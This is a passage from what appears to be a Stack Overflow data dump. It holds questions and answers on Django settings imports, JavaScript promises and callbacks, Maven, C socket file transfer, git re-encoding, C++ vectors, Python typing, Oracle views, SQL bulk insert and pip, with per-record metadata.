<div class="block_3 spinner_block small"></div>
</div>
"""
DEBUG_TOOLBAR_CONFIG = {
'INTERCEPT_REDIRECTS': False,
}
import django.template.loader
django.template.loader.add_to_builtins('web.templatetags.cb_tags')
django.template.loader.add_to_builtins('web.templatetags.tag_library')
WATSON_POSTGRESQL_SEARCH_CONFIG = 'public.english_nostop'
</code></pre>
<p>One of the setting files:</p>
<pre><code>(cb)clime@den /srv/www/cb/cb/settings $ cat development.py
from base import *
DEBUG = True
TEMPLATE_DEBUG = True
ALLOWED_HOSTS = ['127.0.0.1', '31.31.78.149']
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'cwu',
'USER': 'clime',
'PASSWORD': '',
'HOST': '',
'PORT': '',
}
}
MEDIA_ROOT = '/srv/www/cb/media/'
STATIC_ROOT = '/srv/www/cb/static/'
TEMPLATE_DIRS = (
'/srv/www/cb/web/templates',
'/srv/www/cb/templates',
)
</code></pre>
<p>Code in <code>manage.py</code>:</p>
<pre><code>(cb)clime@den /srv/www/cb $ cat manage.py
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "cb.settings.development")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
</code></pre>
<p>If I add <code>from base import *</code> into <code>/srv/www/cb/cb/settings/__init__.py</code> (which is otherwise empty), it magically starts to work but I don't understand why. Anyone could explain to me what's going on here? It must be some python module magic.</p>
<p><strong>EDIT:</strong> Everything also starts to work if I remove this line from base.py</p>
<pre><code>django.template.loader.add_to_builtins('web.templatetags.cb_tags')
</code></pre>
<p>If I remove this line from web.templatetags.cb_tags, it also starts to work:</p>
<pre><code>from endless_pagination.templatetags import endless
</code></pre>
<p>I guess it is because, in the end, it leads to </p>
<pre><code>from django.conf import settings
PER_PAGE = getattr(settings, 'ENDLESS_PAGINATION_PER_PAGE', 10)
</code></pre>
<p>So it creates some weird circular stuff and game over.</p> | 20,646,241 | 32 | 4 | null | 2013-10-02 01:18:45.253 UTC | 27 | 2022-07-19 17:50:38.813 UTC | 2016-10-13 11:59:27.363 UTC | null | 1,245,190 | null | 1,152,915 | null | 1 | 124 | python|django|settings | 199,038 | <p>I had the same error and it turned out to be a circular dependency between a module or class loaded by the settings and the settings module itself. In my case it was a middleware class which was named in the settings which itself tried to load the settings.</p> |
24,398,699 | Is it bad practice to have a constructor function return a Promise? | <p>I'm trying to create a constructor for a blogging platform and it has many async operations going on inside. These range from grabbing the posts from directories, parsing them, sending them through template engines, etc.</p>
<p>So my question is, would it be unwise to have my constructor function return a promise instead of an object of the function they called <code>new</code> against.</p>
<p>For instance:</p>
<pre><code>var engine = new Engine({path: '/path/to/posts'}).then(function (eng) {
// allow user to interact with the newly created engine object inside 'then'
engine.showPostsOnOnePage();
});
</code></pre>
<p>Now, the user may also <strong>not</strong> supply a supplement Promise chain link:</p>
<pre><code>var engine = new Engine({path: '/path/to/posts'});
// ERROR
// engine will not be available as an Engine object here
</code></pre>
<p><em>This could pose a problem as the user may be confused why</em> <code>engine</code> <em>is not available after construction.</em></p>
<p>The reason to use a Promise in the constructor makes sense. I want the entire blog to be functioning after the construction phase. However, it seems like a smell almost to not have access to the object immediately after calling <code>new</code>.</p>
<p>I have debated using something along the lines of <code>engine.start().then()</code> or <code>engine.init()</code> which would return the Promise instead. But those also seem smelly.</p>
<p>Edit: This is in a Node.js project.</p> | 24,686,979 | 5 | 6 | null | 2014-06-25 01:10:30.65 UTC | 65 | 2022-05-09 11:10:05.49 UTC | 2014-06-25 02:53:36.64 UTC | null | 818,444 | null | 3,236,303 | null | 1 | 185 | javascript|node.js|architecture|constructor|promise | 61,385 | <p>Yes, it is a bad practise. A constructor should return an instance of its class, nothing else. It would mess up the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> and inheritance otherwise.</p>
<p>Moreover, a constructor should only create and initialize a new instance. It should set up data structures and all instance-specific properties, but <strong>not execute</strong> any tasks. It should be a <a href="https://en.wikipedia.org/wiki/Pure_function">pure function</a> without side effects if possible, with all the benefits that has.</p>
<blockquote>
<p>What if I want to execute things from my constructor?</p>
</blockquote>
<p>That should go in a method of your class. You want to mutate global state? Then call that procedure explicitly, not as a side effect of generating an object. This call can go right after the instantiation:</p>
<pre><code>var engine = new Engine()
engine.displayPosts();
</code></pre>
<p>If that task is asynchronous, you can now easily return a promise for its results from the method, to easily wait until it is finished.<br>
I would however not recommend this pattern when the method (asynchronously) mutates the instance and other methods depend on that, as that would lead to them being required to wait (become async even if they're actually synchronous) and you'd quickly have some internal queue management going on. Do not code instances to exist but be actually unusable.</p>
<blockquote>
<p>What if I want to load data into my instance asynchronously?</p>
</blockquote>
<p>Ask yourself: <em>Do you actually need the instance without the data? Could you use it somehow?</em></p>
<p>If the answer to that is <em>No</em>, then you should not create it before you have the data. Make the data ifself a parameter to your constructor, instead of telling the constructor how to fetch the data (or passing a promise for the data).</p>
<p>Then, use a static method to load the data, from which you return a promise. Then chain a call that wraps the data in a new instance on that:</p>
<pre><code>Engine.load({path: '/path/to/posts'}).then(function(posts) {
new Engine(posts).displayPosts();
});
</code></pre>
<p>This allows much greater flexibility in the ways to acquire the data, and simplifies the constructor a lot. Similarly, you might write static factory functions that return promises for <code>Engine</code> instances:</p>
<pre><code>Engine.fromPosts = function(options) {
return ajax(options.path).then(Engine.parsePosts).then(function(posts) {
return new Engine(posts, options);
});
};
…
Engine.fromPosts({path: '/path/to/posts'}).then(function(engine) {
engine.registerWith(framework).then(function(framePage) {
engine.showPostsOn(framePage);
});
});
</code></pre> |
22,442,321 | Callback function example | <p>I am having a hard time understanding how the <code>callback()</code> function is used in the following code block.</p>
<p>How are we using <code>callback()</code> as a function, in the function body, when <code>function callback()</code> has not been defined?</p>
<p>What are the repercussions of passing true / false as parameters into the callback function below?</p>
<p>I appreciate any clarification, thanks in advance!</p>
<pre><code>socket.on('new user', function(data, callback){
if (nicknames.indexOf(data) != -1){
callback(false);
} else{
callback(true);
socket.nickname = data;
nicknames.push(socket.nickname);
updateUserList();
}
});
</code></pre> | 22,442,533 | 9 | 7 | null | 2014-03-16 20:11:23.89 UTC | 12 | 2021-11-04 01:39:23.2 UTC | 2021-11-04 01:39:23.2 UTC | null | 11,924,635 | null | 1,316,524 | null | 1 | 27 | javascript|jquery|node.js|callback|socket.io | 45,156 | <p>When you pass a function as an argument, it is known as a callback function, and when you return a value through this callback function, the value is a parameter of the passed function.</p>
<pre><code>function myFunction(val, callback){
if(val == 1){
callback(true);
}else{
callback(false);
}
}
myFunction(0,
//the true or false are passed from callback()
//is getting here as bool
// the anonymous function below defines the functionality of the callback
function (bool){
if(bool){
alert("do stuff for when value is true");
}else {
//this condition is satisfied as 0 passed
alert("do stuff for when value is false");
}
});
</code></pre>
<p>Basically, callbacks() are used for asynchronous concepts. It is invoked on a particular event.</p>
<p><code>myFunction</code> is also callback function. For example, it occurs on a click event.</p>
<pre><code>document.body.addEventListener('click', myFunction);
</code></pre>
<p>It means, first assign the action to other function, and don't think about this. The action will be performed when the condition is met.</p> |
8,932,458 | Should I write repositories in my pom.xml? | <p>I am new to Maven. If I start new project with Maven, should I know any repository URLs for it to work?</p>
<p>For example, this Hibernate tutorial <a href="http://docs.jboss.org/hibernate/core/3.3/reference/en/html/tutorial.html">http://docs.jboss.org/hibernate/core/3.3/reference/en/html/tutorial.html</a> says about how to create a sample project with pom.xml text. But this pom.xml does not contain any repositories.</p>
<p>So, my m2eclipse plugin says, for example <code>Project build error: 'dependencies.dependency.version' for org.hibernate:hibernate-core:jar is missing.</code>, for all dependency tag in pom.xml</p>
<p>Is this because of repositories absence?</p>
<p>Where to know repositories URLs? Is there one big repository? Why doesn't it included by default?</p>
<p><strong>UPDATE 1</strong>
It is said here, that Maven should use "central" repository by default: <a href="http://maven.apache.org/guides/introduction/introduction-to-repositories.html">http://maven.apache.org/guides/introduction/introduction-to-repositories.html</a></p>
<p>I have searched there for hibernate-code artifact and found it. So, this artifact IS in central repository. By my maven says dependency not found. Hence it doesn't use it's central repository. Why?</p> | 8,932,539 | 2 | 8 | null | 2012-01-19 19:58:49.743 UTC | 4 | 2021-09-24 10:14:18.747 UTC | 2012-01-19 20:04:14.187 UTC | null | 258,483 | null | 258,483 | null | 1 | 17 | maven|repository|m2eclipse|pom.xml | 69,525 | <p>Apparently your Hibernate dependency is missing <code><version></code> tag:</p>
<pre><code><dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-entitymanager</artifactId>
<version>3.6.9.Final</version> <!-- this line is missing -->
</dependency>
</code></pre>
<p>Note that you don't have to specify version of dependencies previously declared in <a href="http://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html#Dependency_Management" rel="nofollow noreferrer"><code><dependencyManagement></code></a>.</p>
<h3>Old answer:</h3>
<p>Every build script (not only with Maven) should be reproducible and independent from environment. <a href="http://maven.apache.org/guides/introduction/introduction-to-the-pom.html" rel="nofollow noreferrer">Standard pom.xml</a> (called <em>super pom</em>), which every <code>pom.xml</code> inherits from, already defines main Maven central repository:</p>
<pre><code><repositories>
<repository>
<id>central</id>
<name>Maven Repository Switchboard</name>
<layout>default</layout>
<url>https://repo1.maven.org/maven2</url>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>
</code></pre>
<p>You don't have to define this repository, and you don't have to define any others if all your dependencies are there. On the other hand if you are using some external repositories, you <em>must</em> add them to <code>pom.xml</code>, so that every developer is always able to build.</p>
<p>The bottom line is: if you can build the project having a completely empty repository, your <code>pom.xml</code> is fine.</p> |
11,229,230 | Sending and Receiving a file (Server/Client) in C using socket on Unix | <p>First and foremost, thank you all for reading this and helping, I'm very grateful.<br>
Second I'm sorry but i'm still new to this site and English is not my mother language so I could do some formatting and language mistakes. I apologize in advance.<br>
Also, my C knowledge is not that good, but i'm willing to learn and improve.<br>
Now, to the matter at hand: </p>
<p>What I need to do is to create a Client and a Server, and have the server listen for incoming connections.<br>
Then I have the Client send a quite big text file (I know it will only be ONE file) to the Server.<br>
The Server will then do some operation on the file (it will run a script on the sent file that produces another file in output called "output.txt").
The server then will need to send the output.txt file back to the Client. </p>
<p>Now, I kinda got how to make a Client and a Server (I read beej guide and some other stuff on this site), even tho I probably made some mistakes. I need some help with the server reciving the file, then calling the script and sending the other file back to the client.
For now what I did is the Server and Client... I don't really know how to go on.<br>
On a side note, I made this files using what I found on this site and on the internet, I hope they are not too messy, as I'm not that good of a programmer. </p>
<p>This is client.c</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pthread.h>
#define SOCKET_PORT "50000"
#define SOCKET_ADR "localhost"
#define filename "/home/aryan/Desktop/input.txt"
void error(const char *msg)
{
perror(msg);
exit(0);
}
int main()
{
/* Making the client */
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
char buffer[256];
portno = atoi(SOCKET_PORT);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
server = gethostbyname(SOCKET_ADR);
if (server == NULL)
{
fprintf(stderr,"ERROR, no such host\n");
exit(0);
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr,
(char *)&serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
/* Time to send the file */
FILE *pf;
unsigned long fsize;
pf = fopen(filename, "rb");
if (pf == NULL)
{
printf("File not found!\n");
return 1;
}
else
{
printf("Found file %s\n", filename);
fseek(pf, 0, SEEK_END);
fsize = ftell(pf);
rewind(pf);
printf("File contains %ld bytes!\n", fsize);
printf("Sending the file now");
}
while (1)
{
// Read data into buffer. We may not have enough to fill up buffer, so we
// store how many bytes were actually read in bytes_read.
int bytes_read = fread(buffer, sizeof(char),sizeof(buffer), pf);
if (bytes_read == 0) // We're done reading from the file
break;
if (bytes_read < 0)
{
error("ERROR reading from file");
}
// You need a loop for the write, because not all of the data may be written
// in one call; write will return how many bytes were written. p keeps
// track of where in the buffer we are, while we decrement bytes_read
// to keep track of how many bytes are left to write.
void *p = buffer;
while (bytes_read > 0)
{
int bytes_written = write(sockfd, buffer, bytes_read);
if (bytes_written <= 0)
{
error("ERROR writing to socket\n");
}
bytes_read -= bytes_written;
p += bytes_written;
}
}
printf("Done Sending the File!\n");
printf("Now Closing Connection.\n");
fclose(pf);
close(sockfd);
return 0;
}
</code></pre>
<p>This is server.c: </p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <pthread.h>
#define SOCKET_PORT 50000
#define filename "/home/aryan/Desktop/output.txt"
void error(const char *msg)
{
perror(msg);
exit(1);
}
void* client_thread_proc(void* arg)
{
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
FILE *fp;
int thisfd = (int)arg;
printf("Server %d: accepted = %d\n", getpid(), thisfd);
if (thisfd < 0)
{
printf("Accept error on server\n");
error("ERROR on accept");
return NULL;
}
printf("Connection %d accepted\n", thisfd);
fp = fopen(filename, "a+b");
if (fp == NULL)
{
printf("File not found!\n");
return NULL;
}
else
{
printf("Found file %s\n", filename);
}
/* Time to Receive the File */
while (1)
{
bzero(buffer,256);
n = read(thisfd,buffer,255);
if (n < 0) error("ERROR reading from socket");
n = fwrite(buffer, sizeof(char), sizeof(buffer), fp);
if (n < 0) error("ERROR writing in file");
n = write(thisfd,"I am getting your file...",25);
if (n < 0) error("ERROR writing to socket");
} /* end child while loop */
fclose(fp);
return NULL;
}
void serve_it(int Client)
{
void* arg = (void*)Client;
pthread_t new_thread;
pthread_create( &new_thread, NULL, &client_thread_proc, arg);
}
/* Making Server */
int main()
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
FILE *fp;
signal (SIGCHLD, SIG_IGN);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(SOCKET_PORT);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while (1)
{
printf("Server %d accepting connections\n", getpid());
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
serve_it(newsockfd);
} // serving loop
close(sockfd);
return 0;
}
</code></pre>
<p>I'd like some pointers on how to go on...<br>
How do I make a script go on the file i received from client to server?<br>
How do I send the new file back to the same client?<br>
And if you could help me with the errors in the code i'd be grateful. </p>
<p>Thank you all and sorry for the long read. Have a nice day!</p> | 11,229,288 | 1 | 0 | 2012-06-27 18:25:38.667 UTC | 2012-06-27 15:01:32.643 UTC | 6 | 2016-08-25 13:25:31.44 UTC | 2014-12-28 16:57:18.867 UTC | null | 2,971,900 | null | 935,842 | null | 1 | 6 | c|linux|file|sockets|send | 50,063 | <p>First error:</p>
<pre><code>#define filename = "Home\\Desktop\\input.txt"
</code></pre>
<p>should be</p>
<pre><code>#define filename "Home\\Desktop\\input.txt"
</code></pre>
<p>Otherwise the preprocessor inserts the</p>
<pre><code>= "Home\Desktop\input.txt"
</code></pre>
<p>not the</p>
<pre><code>"Home\\Desktop\\input.txt"
</code></pre>
<p>that you expect.</p>
<p>Second error:</p>
<pre><code>int bytes_read = read(filename /* THAT IS WRONG, FILE HANDLE MUST BE HERE */, buffer, strlen(buffer) /* also WRONG, must be MAX_BYTES_IN_BUFFER or something */ );
</code></pre>
<p>Here you must read from "pf" (you've opened it with the fopen() call) and the last argument must be the number of bytes you want to read. So if you do the strlen(buffer) and the buffer contains some garbage at the beginning of the program's runtime you will get a crash. strlen() must only be called for valid zero-terminated string, it is not the size of the array !</p>
<p>EDIT: elaborated server's loop:</p>
<pre><code>while (1)
{
printf("Server %d accepting connections\n", getpid());
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
serve_it(newsockfd);
} // serving loop
</code></pre>
<p>The serve_it():</p>
<pre><code>void serve_int(int Client)
{
void* arg = (void*)Client;
pthread_t new_thread;
pthread_create( new_thread, NULL, &client_thread_proc, arg);
}
void* client_thread(void* arg)
{
int thisfd = (int)arg;
printf("Server %d: accepted = %d\n", getpid(), thisfd);
if (thisfd < 0)
{
printf("Accept error on server\n");
error("ERROR on accept");
return NULL;
}
printf("Connection %d accepted\n", thisfd);
fp = fopen(filename, "a+b");
if (fp == NULL)
{
printf("File not found!\n");
return NULL;
}
else
{
printf("Found file %s\n", filename);
}
/* Time to Receive the File */
while (1)
{
bzero(buffer,256);
n = read(thisfd,buffer,255);
if (n < 0) error("ERROR reading from socket");
n = fwrite(buffer, sizeof(buffer), 1, fp);
if (n < 0) error("ERROR writing in file");
n = write(thisfd,"I am getting your file...",25);
if (n < 0) error("ERROR writing to socket");
} /* end child while loop */
return NULL;
}
</code></pre> |
11,086,105 | How to get a Text Field's text in XCode | <p>I made a Text Field with interface builder. How can I get its text to use somewhere else?</p>
<p>Is there something like:</p>
<pre><code>string text = myTextField.Text;
</code></pre>
<p>If so, how can I name my text field?</p> | 11,086,416 | 4 | 2 | null | 2012-06-18 15:33:51.853 UTC | 3 | 2016-08-17 13:30:34.933 UTC | 2014-07-13 23:21:23.817 UTC | null | 1,695,507 | null | 1,409,004 | null | 1 | 14 | objective-c|ios|xcode|interface-builder|uitextfield | 73,427 | <p>So the first thing you want to do is create a property in the .h file of the view controller files associated with your xib file like so:</p>
<pre><code> @property (strong, nonatomic) IBOutlet UILabel *aLabel;
</code></pre>
<p>Next in the .m file you need to synthesize it like so:</p>
<pre><code> @synthesize aLabel;
</code></pre>
<p>Within you implementation tag.</p>
<p>Now in interface builder control click where it says "File's Owner" on the left side of the screen in Xcode 4.3 hold down and drag over the label and let go. Then in the popup select the name of the property you created. Now in the viewDidLoad method of your view controller you can get at your value like so:</p>
<pre><code> self.alabel.text
</code></pre> |
11,052,199 | Convert git repository file encoding | <p>I have a large CVS repository containing files in <code>ISO-8859-1</code> and want to convert this to git.</p>
<p>Sure I can configure git to use <code>ISO-8859-1</code> for encoding, but I would like to have it in <code>utf8</code>.</p>
<p>Now with tools such as <code>iconv</code> or <code>recode</code> I can convert the encoding for the files in my working tree. I could commit this with a message like <code>converted encoding</code>.</p>
<p>My question now is, is there a possibility to convert the complete history? Either when converting from cvs to git or afterwards. My idea would be to write a script that reads each commit in the git repository and to convert it to <code>utf8</code> and to commit it in a new git repository.</p>
<p>Is this possible (I am unsure about the hash codes and how to walk through the commits, branches and tags). Or is there a tool that can handle something like this?</p> | 11,053,818 | 1 | 2 | null | 2012-06-15 14:05:31.677 UTC | 10 | 2012-06-15 15:32:31.73 UTC | null | null | null | null | 1,320,945 | null | 1 | 30 | git|utf-8|character-encoding|cvs|cvs2svn | 30,289 | <p>You can do this with <code>git filter-branch</code>. The idea is that you have to change the encoding of the files in every commit, rewriting each commit as you go.</p>
<p>First, write a script that changes the encoding of every file in the repository. It could look like this:</p>
<pre><code>#!/bin/sh
find . -type f -print | while read f; do
mv -i "$f" "$f.recode.$$"
iconv -f iso-8859-1 -t utf-8 < "$f.recode.$$" > "$f"
rm -f "$f.recode.$$"
done
</code></pre>
<p>Then use <code>git filter-branch</code> to run this script over and over again, once per commit:</p>
<pre><code>git filter-branch --tree-filter /tmp/recode-all-files HEAD
</code></pre>
<p>where <code>/tmp/recode-all-files</code> is the above script.</p>
<p>Right after the repository is freshly upgraded from CVS, you probably have just one branch in git with a linear history back to the beginning. If you have several branches, you may need to enhance the <code>git filter-branch</code> command to edit all the commits.</p> |
10,898,007 | std::vector of std::vectors contiguity | <p>I know that <code>std::vector<T></code> internally stores it's data contiguously (unless it is <code>std::vector<bool></code>) both in the old <code>C++03</code> standard and the new <code>C++11</code>.</p>
<p>Nice stackoverflow questions that deal with this and quote the standard: <a href="https://stackoverflow.com/a/849190/884412">answer</a>, <a href="https://stackoverflow.com/a/247764/884412">answer</a>.</p>
<p>What about the data inside nested vectors <code>std::vector <std::vector <T> ></code>? How is that stored?</p>
<p>If every internal vector needs to store it's data contiguously, how can it be true that <code>&v[n] == &v[0] + n for all 0 <= n < v.size()</code>.</p>
<p>To phrase this slightly different, is it possible to access <em>all the elements</em> stored in such nested structure "simply" and sequentially (via a pointer or similar) the same way it can be done for a 1-D vector?</p> | 10,898,084 | 4 | 1 | null | 2012-06-05 13:14:52.32 UTC | 5 | 2013-11-26 14:00:55.233 UTC | 2017-05-23 11:54:44.313 UTC | null | -1 | null | 884,412 | null | 1 | 31 | c++|vector|stdvector | 11,792 | <p>No. The elements of a <code>vector</code> are stored in a dynamically allocated block of memory; otherwise, the capacity of the <code>vector</code> could not increase. The <code>vector</code> object just holds a pointer to that block. </p>
<p>The requirement that the elements be stored sequentially applies only to the elements themselves, and not to any dynamically allocated members of those elements.</p> |
10,965,357 | How to hide Textbox Keyboard when "Done / Return" Button is pressed Xcode 4.2 | <p>I created a Text Field in Interface Builder. I set it's "Return Key" to Done. This is a one line only input (so it wont need multiple lines).</p>
<p>How do I hide the virtual keyboard when the user taps the done button?</p> | 10,965,378 | 3 | 0 | null | 2012-06-09 23:35:33.1 UTC | 15 | 2021-07-28 17:19:16.013 UTC | null | null | null | null | 891,094 | null | 1 | 56 | iphone|ios|xcode4.2 | 80,155 | <p>Implement the delegate method <code>UITextFieldDelegate</code>, then:</p>
<pre><code>- (void)viewDidLoad {
[super viewDidLoad];
self.yourIBtextField.delegate = self;
}
- (BOOL)textFieldShouldReturn:(UITextField *)textField {
[textField resignFirstResponder];
return NO;
}
</code></pre> |
11,290,440 | simple HTML project type for Visual Studio 2010 | <p>We are developing a REST based application using Visual Studio 2010, using asp.net web api and we want to host it using IIS.</p>
<p>For the client side, we want to use pure html, css and javascript to access and using this REST based application.</p>
<p>But we could not find any project type HTML web application or site in VS 2010.
WE do not want to use asp.net or mvc empty project.</p>
<p>Is there is any project type available or any other best way to do this?</p> | 11,290,513 | 2 | 1 | null | 2012-07-02 08:48:06.94 UTC | 14 | 2015-06-03 18:43:53.007 UTC | 2013-05-22 03:34:48.293 UTC | null | 21,461 | null | 386,584 | null | 1 | 59 | html|visual-studio-2010|rest|visual-studio-2012 | 34,029 | <p>Create a folder on your drive for the website.
Then create an Blank Solution project (Other Project Types -> Visual Studio Solutions).
Finally, right click in your solution and choose "Add -> Existing website", select file system in the Add Existing Web Site dialog, and navigate to your web site folder.</p> |
11,328,920 | Is Python strongly typed? | <p>I've come across links that say Python is a strongly typed language.</p>
<p>However, I thought in strongly typed languages you couldn't do this:</p>
<pre><code>bob = 1
bob = "bob"
</code></pre>
<p>I thought a strongly typed language didn't accept type-changing at run-time. Maybe I've got a wrong (or too simplistic) definition of strong/weak types.</p>
<p>So, is Python a strongly or weakly typed language?</p> | 11,328,980 | 13 | 0 | null | 2012-07-04 12:16:01.38 UTC | 158 | 2022-05-15 16:56:20.87 UTC | 2019-06-15 02:07:44.29 UTC | null | 675,568 | null | 505,810 | null | 1 | 320 | python|strong-typing|weak-typing | 189,296 | <p>Python is strongly, dynamically typed.</p>
<ul>
<li><strong>Strong</strong> typing means that the type of a value doesn't change in unexpected ways. A string containing only digits doesn't magically become a number, as may happen in Perl. Every change of type requires an explicit conversion.</li>
<li><strong>Dynamic</strong> typing means that runtime objects (values) have a type, as opposed to static typing where variables have a type.</li>
</ul>
<p>As for your example</p>
<pre><code>bob = 1
bob = "bob"
</code></pre>
<p>This works because the variable does not have a type; it can name any object. After <code>bob=1</code>, you'll find that <code>type(bob)</code> returns <code>int</code>, but after <code>bob="bob"</code>, it returns <code>str</code>. (Note that <code>type</code> is a regular function, so it evaluates its argument, then returns the type of the value.)</p>
<p>Contrast this with older dialects of C, which were weakly, statically typed, so that pointers and integers were pretty much interchangeable. (Modern ISO C requires conversions in many cases, but my compiler is still lenient about this by default.)</p>
<p>I must add that the strong vs. weak typing is more of a continuum than a boolean choice. C++ has stronger typing than C (more conversions required), but the type system can be subverted by using pointer casts.</p>
<p>The strength of the type system in a dynamic language such as Python is really determined by how its primitives and library functions respond to different types. E.g., <code>+</code> is overloaded so that it works on two numbers <em>or</em> two strings, but not a string and an number. This is a design choice made when <code>+</code> was implemented, but not really a necessity following from the language's semantics. In fact, when you overload <code>+</code> on a custom type, you can make it implicitly convert anything to a number:</p>
<pre class="lang-py prettyprint-override"><code>def to_number(x):
"""Try to convert function argument to float-type object."""
try:
return float(x)
except (TypeError, ValueError):
return 0
class Foo:
def __init__(self, number):
self.number = number
def __add__(self, other):
return self.number + to_number(other)
</code></pre>
<p>Instance of class <code>Foo</code> can be added to other objects: </p>
<pre class="lang-py prettyprint-override"><code>>>> a = Foo(42)
>>> a + "1"
43.0
>>> a + Foo
42
>>> a + 1
43.0
>>> a + None
42
</code></pre>
<p>Observe that even though strongly typed Python is completely fine with adding objects of type <code>int</code> and <code>float</code> and returns an object of type <code>float</code> (e.g., <code>int(42) + float(1)</code> returns <code>43.0</code>). On the other hand, due to the mismatch between types Haskell would complain if one tries the following <code>(42 :: Integer) + (1 :: Float)</code>. This makes Haskell a strictly typed language, where types are entirely disjoint and only a controlled form of overloading is possible via type classes.</p> |
13,027,854 | JavaScript regular expression validation for domain name? | <p>How to check a <code>valid domain name</code> and <code>username</code> with <strong>regular expression</strong> in JavaScript?</p>
<pre><code>function validate()
{
var patt1=new RegExp(/^[a-zA-Z0-9._-]+\\[a-zA-Z0-9.-]$/);
var text= document.getElementById('text1').value;
alert(patt1.test(text));
}
</code></pre>
<p>But it does not work for me.</p> | 14,646,633 | 5 | 2 | null | 2012-10-23 09:53:34.053 UTC | 2 | 2020-03-10 00:19:24.87 UTC | 2020-03-10 00:19:24.87 UTC | null | 11,926,970 | null | 1,767,916 | null | 1 | 9 | javascript | 40,218 | <pre><code>function CheckIsValidDomain(domain) {
var re = new RegExp(/^((?:(?:(?:\w[\.\-\+]?)*)\w)+)((?:(?:(?:\w[\.\-\+]?){0,62})\w)+)\.(\w{2,6})$/);
return domain.match(re);
}
</code></pre>
<p>try this its work for me.</p> |
12,705,306 | How to get list of all materialized views in oracle | <p>How to get list of all Materialized Views.?</p> | 12,705,441 | 4 | 0 | null | 2012-10-03 09:13:06.88 UTC | 5 | 2016-01-05 11:33:40.623 UTC | null | null | null | null | 1,696,704 | null | 1 | 27 | oracle | 106,635 | <p>Try this:</p>
<pre><code>SELECT *
FROM all_snapshots;
</code></pre>
<p>Instead of <code>all_snapshots</code> you can also use the <code>all_mviews</code> view.</p> |
13,056,929 | Bulk load data conversion error (type mismatch or invalid character for the specified codepage) for row 1, column 4 (Year) | <p>I'm getting the conversion error when I try to import a text file to my database. Below is the error message I received:</p>
<p>Bulk load data conversion error (type mismatch or invalid character for the specified codepage) for row 1, column 4 (Year).</p>
<p>Here is my query code:</p>
<pre><code>CREATE TABLE Students
(
StudentNo Integer NOT NULL Primary Key,
FirstName VARCHAR(40) NOT NULL,
LastName VARCHAR(40) NOT NULL,
Year Integer,
GPA Float NULL
);
</code></pre>
<p>Here is the sample data from text file:</p>
<pre><code>100,Christoph,Van Gerwen,2011
101,Anar,Cooke,2011
102,Douglis,Rudinow,2008
</code></pre>
<p>I think I know what the problem is..Below is my bulk insert code:</p>
<pre><code>use xta9354
bulk insert xta9354.dbo.Students
from 'd:\userdata\xta9_Students.txt'
with (fieldterminator = ',',rowterminator = '\n')
</code></pre>
<p>With the sample data, there is no ',' after the Year attribute even tho there is still another attribute Grade after the Year which is NULL</p>
<p>Can someone please tell me how to fix this?</p> | 13,057,578 | 6 | 1 | null | 2012-10-24 20:11:49.86 UTC | 8 | 2020-06-23 10:26:25.323 UTC | 2012-10-24 20:56:59.553 UTC | null | 41,956 | null | 1,738,963 | null | 1 | 27 | sql|sql-server|tsql | 144,566 | <p>Try using a <a href="https://docs.microsoft.com/en-us/sql/relational-databases/import-export/create-a-format-file-sql-server?view=sql-server-2017" rel="noreferrer">format file</a> since your data file only has 4 columns. Otherwise, try <code>OPENROWSET</code> or use a staging table.</p>
<p><code>myTestFormatFiles.Fmt</code> may look like:</p>
<pre>9.0
4
1 SQLINT 0 3 "," 1 StudentNo ""
2 SQLCHAR 0 100 "," 2 FirstName SQL_Latin1_General_CP1_CI_AS
3 SQLCHAR 0 100 "," 3 LastName SQL_Latin1_General_CP1_CI_AS
4 SQLINT 0 4 "\r\n" 4 Year "</pre>
<p><a href="https://i.stack.imgur.com/W3Me6.gif" rel="noreferrer"><img src="https://i.stack.imgur.com/W3Me6.gif" alt=""></a><br>
<sub>(source: <a href="http://i.msdn.microsoft.com/dynimg/IC45684.gif" rel="noreferrer">microsoft.com</a>)</sub> </p>
<p><a href="https://web.archive.org/web/20170911131734/http://bidn.com:80/blogs/marcoadf/bidn-blog/2479/bulk-insert-format-file-skip-column" rel="noreferrer">This tutorial</a> on skipping a column with <code>BULK INSERT</code> may also help.</p>
<p>Your statement then would look like:</p>
<pre><code>USE xta9354
GO
BULK INSERT xta9354.dbo.Students
FROM 'd:\userdata\xta9_Students.txt'
WITH (FORMATFILE = 'C:\myTestFormatFiles.Fmt')
</code></pre> |
37,220,055 | Pip - Fatal error in launcher: Unable to create process using '"' | <p>I installed python 3.5.1 via ampps and it's working. However, when i try to use pip, i get the following message:</p>
